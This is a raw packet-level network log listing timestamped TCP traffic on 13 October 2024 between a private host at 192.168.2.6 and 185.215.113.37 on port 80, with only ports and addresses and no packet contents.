Oct 13, 2024 14:49:24.314965010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314975977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314981937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314991951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315005064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315006018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315021038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315026045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315035105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315051079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315057993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315066099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315076113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315082073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315102100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315124989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315332890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315378904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315399885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315416098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315429926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315445900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315460920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315468073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315485001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315510035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315570116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315586090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315618038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315639019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315665007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315679073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315694094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315709114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315712929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315736055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315736055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315761089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315781116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315813065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315828085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.315834999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315857887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.315881968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317404985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317440987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317456007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317478895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317478895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317504883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317528009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317543983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317572117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317595959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317625999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317641973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.317671061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.317694902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400198936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400233030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400250912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400265932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400283098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400296926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400314093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400374889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400392056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400408030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400424004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400440931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400443077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400443077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400455952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400469065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400499105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400697947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400715113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400731087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400738955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400746107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400762081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400773048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400778055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400794983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400804996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400811911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.400823116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400846958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.400861025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401053905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401068926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401083946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401091099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401098013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401113987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401113987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401129007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401134968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401146889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401150942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401174068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401206017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401401997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401418924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401433945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401451111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401453972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401467085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401475906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401475906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401483059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401499033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401503086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401514053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401520014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401529074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401546955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401546955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401549101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401571989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401591063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401763916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401810884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401918888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401935101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401963949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401967049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401979923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.401983023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.401998043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402004957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402013063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402025938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402029037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402045012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402045965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402060032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402066946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402074099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402082920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402090073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402106047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402107954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402121067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402128935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402137041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402153015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402168989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402175903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402175903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402185917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402195930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402220964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402673006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402689934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402705908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402720928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402724981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402754068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402790070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402848959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402865887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402879953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402894974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402899027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402910948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402916908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402925968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402940035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402940989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402956009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402962923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402971029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.402981997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.402987003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403002977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403002977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403017998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403023958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403023958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403033972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403049946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403050900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403065920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403072119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403072119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403080940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403100014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403103113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403124094 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403124094 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403142929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403923035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403939962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403954983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403970003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403975964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.403985023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.403996944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404000044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404016018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404027939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404031992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404043913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404047966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404064894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404069901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404081106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404097080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404103994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404110909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404124975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404126883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404141903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404151917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404158115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404167891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404176950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404194117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404211998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404268026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404314041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404356003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404371023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404392004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404419899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404439926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404457092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404472113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404490948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404505968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404505968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404505968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404531002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404586077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404632092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404633999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404652119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404668093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404676914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404684067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404705048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404705048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404735088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404769897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404807091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404814959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404824018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404838085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.404849052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404869080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.404897928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406366110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406394005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406408072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406414986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406424046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406434059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406455040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406485081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406500101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406517029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406546116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406562090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406567097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406582117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.406605005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.406630039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.488933086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.488986015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.489002943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.489017963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.489075899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.489075899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.489075899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.489075899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499047041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499063969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499078989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499100924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499142885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499157906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499174118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499190092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499196053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499212980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499247074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499268055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499272108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499288082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499303102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499310017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499330997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499350071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499504089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499527931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499541998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499551058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499557018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499567986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499573946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499588966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499598980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499589920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499614954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499624014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499707937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499708891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499830961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499847889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499861956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499869108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499886036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499901056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499913931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499917030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499932051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499942064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499948025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499958038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499965906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499980927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.499984980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.499996901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500001907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500011921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500024080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500026941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500041962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500046968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500056982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500063896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500072956 CEST	80	49720	185.215.113.37	192.168.2.6
